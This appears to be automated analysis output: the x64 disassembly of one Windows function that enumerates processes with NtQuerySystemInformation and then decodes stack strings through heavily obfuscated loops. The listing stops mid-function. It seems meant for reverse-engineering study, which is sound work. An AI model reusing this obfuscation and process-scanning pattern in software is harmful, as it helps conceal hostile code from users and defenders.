Function at 0x1400fc320
Capabilities:
Get system information on windows
Make suspicious ntquerysysteminformation call
Parse pe header
Query environment variable
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x40]
sub rsp, 0x140
mov rax, qword [0x1401d8800]
xor rax, rsp
mov qword [rbp + 0x30], rax
mov qword [rbp - 0x40], rdx
mov qword [rbp - 0x48], rcx
xor r15d, r15d
mov esi, r15d
mov qword [rbp - 0x80], r15
mov dword [rbp - 0x18], r15d
lea r9, [rbp - 0x18]
xor r8d, r8d
xor edx, edx
lea ecx, [rdx + 0xb]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x1400fc3cb
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp - 0x18]
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
lea r9, [rbp - 0x18]
mov r8d, dword [rbp - 0x18]
mov rdx, rax
mov ecx, listen
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x1400fc381
mov qword [rbp - 0x80], rsi
test eax, eax
js 0x1400fe823
mov eax, r15d
mov dword [rsp + 0x2c], eax
cmp dword [rsi], r15d
jbe 0x1400fe823
movzx edi, byte [rsp + 0x28]
movzx ebx, byte [rsp + 0x28]
movzx r14d, byte [rsp + 0x28]
mov qword [rsp + 0x20], r14
movzx r13d, byte [rsp + 0x28]
movzx r12d, byte [rsp + 0x28]
nop dword [rax]
nop dword [rax + rax]
imul rcx, rax, 0x128
lea rax, [rcx + rsi]
mov qword [rbp - 0x50], rax
movzx eax, word [rax + 0x2e]
add rax, rcx
add rsi, rax
movzx edx, dil
lea rcx, [rbp + 0x10]
call fcn.1400029f0
nop
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rsi + r8 + 0x30], 0
jne 0x1400fc440
lea rdx, [rsi + 0x30]
lea rcx, [rbp + 0x10]
call fcn.140004460
nop
lea rcx, [rbp + 0x10]
call fcn.140001bc0
mov rdx, qword [rbp - 0x48]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
jne 0x1400fe804
mov rdx, qword [rbp - 0x50]
add rdx, 0x30
lea rcx, [rbp - 0x10]
call fcn.1400042d0
nop
mov dword [rsp + 0x58], 0x3fc1bac3
mov dword [rsp + 0x5c], 0x3e3e3a31
mov word [rsp + 0x60], 0x393f
mov byte [rsp + 0x62], 0xec
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x63], xmm0
mov qword [rsp + 0x73], rax
nop dword [rax]
nop dword [rax + rax]
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
mov rsi, r15
cmp rsi, 0x23
jae 0x1400fd00a
movzx r10d, byte [rsp + rsi + 0x58]
movzx r11d, r10b
cmp r8, rsi
ja 0x1400fd001
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x1400fc522
movabs rdx, 0xf1f905f8d514a37d
lea rcx, [rsi + rdx]
mov rax, rcx
and rax, r10
imul r14, rax, 0xfffffffffffffffe
add r14, rcx
add r14, r10
sub r14b, 0x6b
mov qword [rsp + 0x20], r14
jmp 0x1400fc573
je 0x1400fcf7c
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400fceea
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400fceac
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400fce62
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400fce30
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400fcde1
movabs rdx, 0xf1f905f8d514a37d
movzx r11d, r10b
cmp r9, rsi
ja 0x1400fcff8
lea rax, [r9 + 0x3e8]
cmp r8, rax
jae 0x1400fc5b2
movabs rcx, 0xd96d7d697ab16941
add rcx, rsi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r14d, [r11 + rcx]
add r14b, 0x39
mov qword [rsp + 0x20], r14
jmp 0x1400fc5e0
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400fcdbf
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400fcd9c
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400fcd77
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rsi
jbe 0x1400fcacf
nop dword [rax]
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400fcab3
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400fca86
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400fca5c
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400fca43
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400fca28
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400fca09
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400fc9ed
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400fc9ce
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400fc5f0
lea r8, [r9 + 0x41]
lea r9, [r8 + 0x61]
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400fcfd6
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400fcfb4
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x1400fc7bb
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400fc792
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400fc769
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1400fc977
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400fc927
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400fc8e1
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400fc8b9
lea r8, [r9 + 0x7a]
lea r9, [r8 + 0x1000]
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400fc89a
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400fc87f
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x1400fc86a
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400fc84f
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1400fc828
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400fc80e
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400fc7e4
lea r8, [r9 + 0x61]
lea r9, [r8 + 0x400]
jmp 0x1400fc5f0
movabs rcx, 0x62363e1bb234c4df
add rcx, rsi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r14d, [r11 + rcx]
sub r14b, 0x19
mov qword [rsp + 0x20], r14
jmp 0x1400fc5e0
movabs rcx, 0x7e44322a080b7de5
add rcx, rsi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r14d, [r11 + rcx]
sub r14b, 0x43
mov qword [rsp + 0x20], r14
jmp 0x1400fc577
movabs rcx, 0x9a5226385de236eb
add rcx, rsi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r14d, [r11 + rcx]
sub r14b, 0x6d
mov qword [rsp + 0x20], r14
jmp 0x1400fc4e7
lea edx, [rsi + 0x14]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_60
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
mov qword [rsp + 0x20], rdx
dec rsi
mov r14, rdx
inc rsi
jmp 0x1400fc4d3
lea edx, [rsi + 0x1a]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, r10b
jmp 0x1400fce84
lea edx, [rsi + 0x20]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
mov qword [rsp + 0x20], rdx
add r8, r9
mov r14, rdx
jmp 0x1400fced1
lea ecx, [rsi + 0x26]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r14d, [rcx + r10]
sub r14b, 0xa
jmp 0x1400fcecc
lea edx, [rsi + 0x2c]
movzx eax, r10b
and al, dl
movzx ecx, r10b
sub dl, 0x34
jmp 0x1400fcf08
lea edx, [rsi + 0x32]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x5e
add dl, cl
jmp 0x1400fcf3a
lea edx, [rsi + 0x38]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r10b
add r14b, dl
jmp 0x1400fcf9c
lea ecx, [rsi - 0x39]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r14d, [rcx + r10]
sub r14b, 0x71
mov qword [rsp + 0x20], r14
mov byte [rsp + rsi + 0x58], r14b
inc rsi
jmp 0x1400fc4d3
lea edx, [rsi - 0x33]
movzx eax, r10b
and al, dl
add al, al
movzx r14d, r10b
sub r14b, al
add r14b, 0x65
add r14b, dl
mov qword [rsp + 0x20], r14
cmp r9, 0x1000
jb 0x1400fc8d4
lea edx, [rsi - 0x32]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, dl
lea edx, [rcx*2 - 0x44]
jmp 0x1400fce03
lea edx, [rsi - 0x2d]
movzx eax, r10b
and al, dl
add al, al
movzx r14d, r10b
sub r14b, al
add r14b, 0x3b
add r14b, dl
mov qword [rsp + 0x20], r14
cmp r8, 0x61
jae 0x1400fcd3a
lea rax, [r9 + 0x400]
cmp r8, rax
jbe 0x1400fcc91
lea edx, [rsi + 0xa]
movzx eax, r10b
and al, dl
add al, al
movzx r14d, r10b
sub r14b, al
sub r14b, 0x46
jmp 0x1400fc8f7
lea edx, [rsi - 0x27]
movzx eax, r10b
and al, dl
add al, al
movzx r14d, r10b
sub r14b, al
add r14b, 0x11
add r14b, dl
mov qword [rsp + 0x20], r14
lea rax, [r9 + r8]
cmp rax, 0x7a
je 0x1400fcd56
lea rax, [r9 + 0x1000]
cmp r8, rax
jbe 0x1400fcbcf
lea edx, [rsi - 0x37]
movzx eax, r10b
and al, dl
add al, al
movzx r14d, r10b
sub r14b, al
sub r14b, 0x7f
jmp 0x1400fc93d
lea edx, [rsi - 0x7a]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r10b
add r14b, dl
jmp 0x1400fcf9c
lea edx, [rsi - 0x74]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x1400fcf3a
movzx r11d, sil
lea edx, [r11 - 0x6e]
movzx eax, r10b
and al, dl
mov ecx, 1
sub cl, al
add cl, cl
add cl, r10b
jmp 0x1400fcf10
lea ecx, [rsi - 0x68]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r14d, [rcx + r10]
sub r14b, 0x28
jmp 0x1400fcecc
lea edx, [rsi - 0x5c]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x7c
jmp 0x1400fce84
lea edx, [rsi - 0x56]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
mov qword [rsp + 0x20], rdx
dec rsi
mov r14, rdx
inc rsi
jmp 0x1400fc4d3
lea edx, [rsi - 0x50]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_26
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
inc r9
mov qword [rsp + 0x20], rdx
dec rsi
mov r14, rdx
inc rsi
jmp 0x1400fc4d3
lea edx, [rsi - 0x4a]
movzx eax, r10b
and al, dl
mov ecx, 3
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x1400fce03
lea rax, [r9 + 0x400]
cmp r8, rax
jae 0x1400fcaf7
lea rcx, [rsi + rdx]
movzx eax, cl
and al, r10b
add al, al
sub r11b, al
lea r14d, [rcx + r11]
sub r14b, 0x6b
jmp 0x1400fc990
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400fcb1f
lea edx, [rsi - 0x7e]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r10b
add r14b, dl
jmp 0x1400fcf9c
inc rax
cmp r8, rax
jne 0x1400fcb41
movzx r11d, sil
lea edx, [r11 + 0x76]
movzx eax, r10b
and al, dl
movzx ecx, r10b
sub dl, 0x3a
jmp 0x1400fcf0c
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400fcb64
lea edx, [rsi + 0x64]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_35
sub cl, al
add cl, cl
add cl, r10b
jmp 0x1400fce84
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400fcb97
lea edx, [rsi + 0x5e]
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
mov qword [rsp + 0x20], rdx
dec rsi
mov r14, rdx
inc rsi
jmp 0x1400fc4d3
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400fc995
lea ecx, [rsi + 0x58]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x68
inc r9
mov qword [rsp + 0x20], rdx
dec rsi
mov r14, rdx
inc rsi
jmp 0x1400fc4d3
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400fcbf3
lea edx, [rsi - 0x3d]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x55
add dl, cl
jmp 0x1400fce03
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400fcc21
lea ecx, [rsi - 0x55]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
add dl, 0x53
mov qword [rsp + 0x20], rdx
add r8, r9
mov r14, rdx
jmp 0x1400fced1
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400fcc45
lea ecx, [rsi - 0x5b]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r14d, [rcx + r10]
add r14b, 0x7d
jmp 0x1400fcecc
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400fcc69
lea edx, [rsi - 0x67]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x2f
add dl, cl
jmp 0x1400fcf3a
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400fc945
lea ecx, [rsi - 0x6d]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r14d, [rcx + r10]
sub r14b, 5
jmp 0x1400fcf9c
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400fccb5
lea ecx, [rsi + 4]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r14d, [rcx + r10]
sub r14b, 0x1c
jmp 0x1400fcf9c
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400fccdd
movzx r11d, sil
lea edx, [r11 - 8]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_30
sub cl, al
add cl, cl
add cl, r10b
jmp 0x1400fcf10
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400fcd05
lea edx, [rsi - 0xe]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r10b
add r14b, dl
jmp 0x1400fcecc
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400fc8ff
lea ecx, [rsi - 0x20]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x20
mov qword [rsp + 0x20], rdx
dec rsi
mov r14, rdx
inc rsi
jmp 0x1400fc4d3
lea ecx, [rsi - 0x38]
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x78
add dl, r10b
jmp 0x1400fce86
movzx r11d, sil
lea edx, [r11 - 0x3e]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, r10b
sub dl, 0x4e
jmp 0x1400fcf10
movabs rcx, 0x3119c51377a9131d
add rcx, rsi
movzx eax, cl
and al, r10b
add al, al
sub r11b, al
lea r14d, [rcx + r11]
add r14b, 0x35
jmp 0x1400fcecc
movabs rdx, 0x6935ad3023568529
add rdx, rsi
movzx eax, dl
and al, r10b
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x1f
jmp 0x1400fce84
movabs rdx, 0xbd5f895b24dab03b
add rdx, rsi
movzx eax, dl
and al, r10b
add al, al
movzx ecx, r11b
sub cl, al
add dl, 0x63
add dl, cl
jmp 0x1400fce03
movabs rcx, 0xf57b7177d0882247
add rcx, rsi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0xf
movzx r10d, r11b
lea ecx, [rsi + 0x4b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0xd
add cl, r10b
mov byte [rsp + rsi + 0x58], cl
inc r9
mov qword [rsp + 0x20], rdx
dec rsi
mov r14, rdx
inc rsi
jmp 0x1400fc4d3
movabs rcx, 0x2d9759947c359453
add rcx, rsi
movzx eax, cl
and al, r10b
add al, al
sub r11b, al
lea edx, [rcx + r11]
sub dl, 0x45
mov qword [rsp + 0x20], rdx
dec rsi
mov r14, rdx
inc rsi
jmp 0x1400fc4d3
movabs rdx, 0x49a54da2d20c4d59
add rdx, rsi
movzx eax, dl
and al, r10b
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x6f
movzx r10d, r11b
add dl, cl
lea ecx, [rsi + 0x45]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, 0x1d
add cl, r10b
add cl, dl
mov byte [rsp + rsi + 0x58], cl
mov qword [rsp + 0x20], rdx
add r8, r9
mov r14, rdx
jmp 0x1400fced1
movabs rcx, 0x81c135bf7db9bf65
add rcx, rsi
movzx eax, cl
and al, r10b
add al, al
sub r11b, al
lea r14d, [rcx + r11]
add r14b, 0x3d
mov qword [rsp + 0x20], r14
movzx eax, r14b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x1400fc4d3
movabs rdx, 0x9dcf29cdd390786b
add rdx, rsi
movzx eax, dl
and al, r10b
movzx ecx, r11b
add dl, 0x13
movzx r10d, r11b
movzx r11d, sil
add al, al
sub cl, al
add dl, cl
add r11b, 0x3f
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
add r11b, 0x47
add r11b, r10b
movzx eax, r11b
mov byte [rsp + rsi + 0x58], al
inc r9
add rax, r9
sub rsi, rax
mov qword [rsp + 0x20], rdx
lea ecx, [rsi - 0x44]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x24
add cl, r10b
mov byte [rsp + rsi + 0x58], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rsi, rax
mov r14, rdx
movzx eax, byte [rsp + rsi + 0x58]
add rax, r9
add rsi, rax
inc rsi
jmp 0x1400fc4d3
movabs rcx, 0xd5eb11ea7f3dea77
add rcx, rsi
movzx eax, cl
and al, r10b
add al, al
sub r11b, al
lea r14d, [rcx + r11]
sub r14b, 0x41
mov qword [rsp + 0x20], r14
movzx eax, byte [rsp + rsi + 0x58]
add rax, r9
add rsi, rax
inc rsi
jmp 0x1400fc4d3
sub sil, 0xf
movzx eax, r10b
and al, sil
add al, al
sub r10b, al
lea r14d, [rsi + r10]
add r14b, 0x69
mov qword [rsp + 0x20], r14
jmp 0x1400fc4d0
sub sil, 9
movzx eax, r10b
and al, sil
add al, al
sub r10b, al
lea r14d, [rsi + r10]
add r14b, 0x3f
mov qword [rsp + 0x20], r14
jmp 0x1400fc4c0
lea rcx, [rbp + 0x15dd754]
jmp 0x1400fd00f
lea rcx, [rbp + 0x727ad1]
jmp 0x1400fd00f
lea rcx, [rsp + 0x58]
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov rsi, rax
movzx edx, bl
lea rcx, [rbp - 0x38]
call fcn.1400029f0
nop
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rsi + r8], 0
jne 0x1400fd030
mov rdx, rsi
lea rcx, [rbp - 0x38]
call fcn.140004460
nop
mov word [rbp - 0x78], 0xb9ea
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x76], xmm0
movups xmmword [rbp - 0x66], xmm0
mov byte [rbp - 0x56], al
nop dword [rax]
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
mov rsi, r15
cmp rsi, 0x23
jae 0x1400fdb87
movzx r11d, byte [rbp + rsi - 0x78]
mov edx, r11d
cmp r8, rsi
ja 0x1400fdb7e
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x1400fd0bb
movabs rcx, 0xc9340e493ac57317
add rcx, rsi
mov rax, rcx
and rax, rdx
imul r13, rax, 0xfffffffffffffffe
add r13, rcx
add r13, rdx
add r13b, 0x5f
jmp 0x1400fd0f5
je 0x1400fdb0d
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400fda87
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400fda56
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400fda36
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400fd9f2
movzx r10d, sil
nop dword [rax]
cmp r9, rsi
ja 0x1400fdb75
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x1400fd12a
lea ecx, [r10 - 0x1d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r13d, [r11 + rcx]
sub r13b, 0x35
jmp 0x1400fd160
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400fd9da
inc rax
cmp r8, rax
je 0x1400fd9b7
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400fd99a
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400fd97f
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rsi
jbe 0x1400fd6de
nop dword [rax]
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400fd6c3
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400fd69d
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400fd676
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400fd656
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400fd639
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400fd61c
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400fd5fc
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400fd5db
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400fd5b0
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400fd170
lea r8, [r9 + 0x10]
lea r9, [r8 + 0x7a]
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400fdb58
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1400fdb3b
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400fd35f
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400fd344
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400fd329
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x1400fd55d
lea rcx, [r9 + 1]
cmp r8, rcx
jb 0x1400fd512
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x1400fd4d1
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400fd4ac
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400fd170
mov r8, rcx
lea r9, [rcx + 4]
lea rax, [r9 + 0x80]
cmp rcx, rax
ja 0x1400fd47d
lea rax, [r9 + 0x64]
cmp rcx, rax
ja 0x1400fd45c
lea rax, [r9 + 5]
cmp rcx, rax
ja 0x1400fd43d
lea rax, [r9 + 4]
cmp rcx, rax
ja 0x1400fd420
lea rax, [r9 + 0x400]
cmp rcx, rax
ja 0x1400fd3ff
lea rax, [r9 + 0x3e8]
cmp rcx, rax
ja 0x1400fd3e5
lea rax, [r9 + 0x200]
cmp rcx, rax
ja 0x1400fd3c2
lea rax, [r9 + 8]
cmp rcx, rax
ja 0x1400fd39c
lea rax, [r9 + 6]
cmp rcx, rax
ja 0x1400fd37c
lea rax, [r9 + 0x61]
cmp rcx, rax
ja 0x1400fd170
lea r8, [r9 + 9]
lea r9, [r8 + 0x1000]
jmp 0x1400fd170
lea ecx, [r10 + 0x7d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r13d, [r11 + rcx]
sub r13b, 0x6b
jmp 0x1400fd160
lea ecx, [r10 + 0x4f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r13d, [r11 + rcx]
sub r13b, 0x29
jmp 0x1400fd100
add r10b, 0x21
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea r13d, [r11 + r10]
add r13b, 0x19
jmp 0x1400fd086
lea edx, [r10 + 0x18]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r13d, [rcx + rcx]
add r13b, r11b
add r13b, dl
jmp 0x1400fda0c
sub r10b, 0x16
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea r13d, [r10 + r11]
sub r13b, 0x66
inc r9
dec rsi
inc rsi
jmp 0x1400fd073
sub r10b, 0x44
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea r13d, [r10 + r11]
sub r13b, 0x24
dec rsi
inc rsi
jmp 0x1400fd073
lea edx, [r10 - 0x72]
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r13d, [rcx + rcx]
jmp 0x1400fd938
add r10b, 0x60
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_50
sub cl, al
lea r13d, [rcx + rcx]
add r13b, r11b
add r13b, r10b
jmp 0x1400fda6b
add r10b, 0x32
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea r13d, [r10 + r11]
sub r13b, 0x5e
jmp 0x1400fda6e
lea edx, [r10 + 4]
movzx eax, r11b
and al, dl
add al, al
movzx r13d, r11b
sub r13b, al
sub r13b, 0x1c
add r13b, dl
jmp 0x1400fdaa6
sub r10b, 0x2a
movzx eax, r11b
and al, r10b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea r13d, [rcx + rcx]
add r13b, r11b
add r13b, r10b
jmp 0x1400fdacf
sub r10b, 0x58
movzx eax, r11b
and al, r10b
mov ecx, 0x34
sub cl, al
lea r13d, [rcx + rcx]
add r13b, r11b
add r13b, r10b
movzx eax, byte [rbp + rsi - 0x78]
add rax, r9
add rsi, rax
inc rsi
jmp 0x1400fd073
add r10b, 0x35
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea r13d, [r10 + r11]
sub r13b, 0x73
mov byte [rbp + rsi - 0x78], r13b
inc rsi
jmp 0x1400fd073
lea edx, [r10 + 7]
movzx eax, r11b
and al, dl
add al, al
movzx r13d, r11b
sub r13b, al
sub r13b, 0x31
add r13b, dl
cmp r9, 0x64
jb 0x1400fd4c4
lea edx, [r10 + 0x2a]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, dl
lea r13d, [rcx*2 - 0x4c]
jmp 0x1400fda0c
lea edx, [r10 - 0x27]
movzx eax, r11b
and al, dl
add al, al
movzx r13d, r11b
sub r13b, al
add r13b, 0x11
add r13b, dl
cmp r8, 0x5a
jae 0x1400fd921
lea rax, [r9 + 0x20]
cmp r8, rax
jbe 0x1400fd85e
lea edx, [r10 + 0x5e]
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea r13d, [rcx + rcx]
add r13b, r11b
jmp 0x1400fd4e8
lea edx, [r10 - 0x55]
movzx eax, r11b
and al, dl
add al, al
movzx r13d, r11b
sub r13b, al
add r13b, 0x53
add r13b, dl
lea rax, [r9 + r8]
cmp rax, 0x200
je 0x1400fd962
lea rax, [r9 + 4]
cmp r8, rax
jbe 0x1400fd7e5
lea edx, [r10 + 0x7b]
movzx eax, r11b
and al, dl
add al, al
movzx r13d, r11b
sub r13b, al
sub r13b, 0x5d
jmp 0x1400fd529
add r10b, 0x52
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea r13d, [r10 + r11]
sub r13b, 0x3e
movzx eax, byte [rbp + rsi - 0x78]
add rax, r9
add rsi, rax
inc rsi
jmp 0x1400fd073
add r10b, 0x24
movzx eax, r11b
and al, r10b
mov ecx, 2
sub cl, al
lea r13d, [rcx + rcx]
add r13b, r11b
add r13b, r10b
jmp 0x1400fdacf
lea edx, [r10 - 0xa]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r11b
jmp 0x1400fdaa6
sub r10b, 0x38
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea r13d, [r11 + r10]
sub r13b, 0x78
jmp 0x1400fda6e
sub r10b, 0x66
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea r13d, [r11 + r10]
sub r13b, 0x36
jmp 0x1400fda6b
lea edx, [r10 + 0x6c]
movzx eax, dl
and al, r11b
mov ecx, 6
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r11b
jmp 0x1400fd93e
add r10b, 0x3e
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r13d, [rcx + rcx]
add r13b, r10b
add r13b, r11b
dec rsi
inc rsi
jmp 0x1400fd073
add r10b, 0x10
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea r13d, [r11 + r10]
sub r13b, 0x70
